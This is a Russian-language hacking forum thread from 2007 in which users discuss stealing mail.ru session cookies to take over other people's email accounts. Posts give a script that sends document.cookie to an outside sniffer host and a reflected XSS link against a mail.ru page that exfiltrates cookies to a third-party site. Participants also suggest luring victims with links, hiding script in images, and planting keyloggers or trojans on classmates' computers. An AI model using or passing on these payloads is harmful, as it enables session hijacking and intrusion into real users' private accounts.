Форум АНТИЧАТ - Снифер античата и mail.ru

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)

- - Снифер античата и mail.ru (https://forum.antichat.xyz/showthread.php?t=40575)

cigaretteburn

21.05.2007 23:00

Снифер античата и mail.ru

Всем привет. У меня такой вопрос: как с помощью снифера на античате, (http://antichat.ru/cgi-bin/s.jpg) узнать куки на mail.ru ??

ice1k

21.05.2007 23:06

Для этого тебе нужна XSS на mail.ru ;)

Ksander

21.05.2007 23:15

Цитата:

Сообщение от ice1k

Для этого тебе нужна XSS на mail.ru ;)

Если просматривать письмо через Ж то можно украсть сессию. Только как нужно его просматривать я не знаю =(

Naf	21.05.2007 23:16

а что толку от куков? они пароли не дают.
у меня есть папка с универа (все куки забрал...
ничего интересного, кроме адресов посещения, жж и блогов.

DimOnOID

21.05.2007 23:16

Цитата:

Сообщение от cigaretteburn

Всем привет. У меня такой вопрос: как с помощью снифера на античате, (http://antichat.ru/cgi-bin/s.jpg) узнать куки на mail.ru ??

снач можешь прочитать вот тут потом можешь посмареть тут а уже потом ...или найти самому активную или пасссиввную...или зайти сюда или сюда и поискать пост с XSS на mail.ru

cigaretteburn

22.05.2007 00:50

Цитата:

Сообщение от Naf

Как это толку? в опере меняеш куки и всё..

cigaretteburn

22.05.2007 00:54

Цитата:

Сообщение от ice1k

Для этого тебе нужна XSS на mail.ru ;)

ну точто нужна XSS это понятно, а кто может дать именно код XSS работающий для использования снифа? :)

nc.STRIEM

22.05.2007 01:14

Цитата:

Сообщение от cigaretteburn

ну точто нужна XSS это понятно, а кто может дать именно код XSS работающий для использования снифа? :)

просто код вот:

Код:

<script>img = new Image(); img.src = "http://host.ru/s/s.gif?"+document.cookie;</script>

естественно на mail.ru такой вариант не прокатит, т.к служба безопасности почты понимает всю опасность и фильрует подобные весчи!
Но всеже в привате существуют рабочие XSS, но просто так тебе их никто не даст.
Разве что за $

ultimatum

22.05.2007 01:24

Цитата:

естественно на mail.ru такой вариант не прокатит, т.к служба безопасности почты понимает всю опасность и фильрует подобные весчи!

ну по ссылке то всё ровно можно заманить человека, где соответственно будет рабочий, подделанный xss ,

Algol

22.05.2007 01:55

Цитата:

Сообщение от ultimatum

ну по ссылке то всё ровно можно заманить человека, где соответственно будет рабочий, подделанный xss ,

Куда бы ты не заманивал пользователя, все равно должен быть xss на целевом сайте (в данном случае mail.ru)

cigaretteburn

22.05.2007 02:34

Цитата:

Сообщение от ultimatum

ну по ссылке то всё ровно можно заманить человека, где соответственно будет рабочий, подделанный xss ,

Ага, ссылка на сни должна быть на mail.ru, например в письме, но почта фильтрует подобные ссылки.. я слышал можно закодировать ссылка со криптом както... это так? кто знает?

cigaretteburn

22.05.2007 02:37

Цитата:

Сообщение от nc.STRIEM

просто код вот:

Код:

<script>img = new Image(); img.src = "http://host.ru/s/s.gif?"+document.cookie;</script>

Вот именно что обычный код не пройдёт, система его забанит, вот и создал эту тему чтоб узнать рабочий код XSS под сниф для mail.ru естественно не за деньги.. за деньги можно всё купить.. а вот чтоб своими мозгам.. у меня покачто мозгов для этого нехватает видимо, поэтому и спрашиваю у людей. )) :)

cigaretteburn

22.05.2007 02:42

А можно обычный код

Код:

<script>img = new Image(); img.src = "http://host.ru/s/s.gif?"+document.cookie;</script>

встроить в gif или jpeg ведь на mail.ru можно к своему аккаунту прикреплять фоты, можно как нить в фотку встроить этот код? а потом написать письмо жертве на ссылку этой картинки, или саму картинку, тогда код будет на целевой системе и всё будет гууд) Вот только можно так сделать?????? :confused:

cigaretteburn

22.05.2007 02:53

нда... весь прикол в том что выложенные Xss почти все уже не работают..((( :(

XHTTP

22.05.2007 08:22

Цитата:

Сообщение от cigaretteburn

нда... весь прикол в том что выложенные Xss почти все уже не работают..((( :(

Неработает одно, работает другое... Нужно мыло Чела? пихни ему кейлогер, узнаешь не только пасс от его мыла...
Да знаю - легко сказать. И тем немение троян работает!
Ещё много дебилов, чьи антивиры пропускают старые трояны, вирусы, кейлогеры... В пример могу взять свой университет - стадо тупых носорогов сидящих за компами...

cigaretteburn

22.05.2007 11:51

Цитата:

Сообщение от xhttp

Хм.. хорошая идея но всё же если кто что может сказать полезного насчёт снифа - пишите. А насчёт кейлогера - дайте ссылку на хороший без лагов, а то их тоже не мало в сети.. А насчёт универа - у меня также вгруппе стадо придурков) ;)

DimOnOID

22.05.2007 11:56

Цитата:

Сообщение от cigaretteburn

нда... весь прикол в том что выложенные Xss почти все уже не работают..((( :(

как не работают??? вот тебе пример...

Код:

http://hosting.mail.ru/selectLoginForConstructor.jsp?constructor="><script>navigate('http://site.ru/s.gif?'.concat(document.cookie))</script>

///при этом можно открыть гифку ..и вписать туда переадресацию.....чтобы палевно не было...

Цитата:

Сообщение от cigaretteburn

Можно встроить в png .... в конец записать ...и в фоту на маил ру ..и то будет работать только в IE ...вот тут почитай

А®ТеS

25.05.2007 18:06

Цитата:

Сообщение от cigaretteburn

Как это толку? в опере меняеш куки и всё..

На мэйле привязка к IP адресу идет...

MadFun.

02.06.2007 22:00

Цитата:

Сообщение от Naf

Конечно толку не будет если ты их не попробуешь в свой браузер вбить куки.А может случиться великое чудо ? %) и появиться надпись здраствуйте такой такой то :)))

Время: 20:28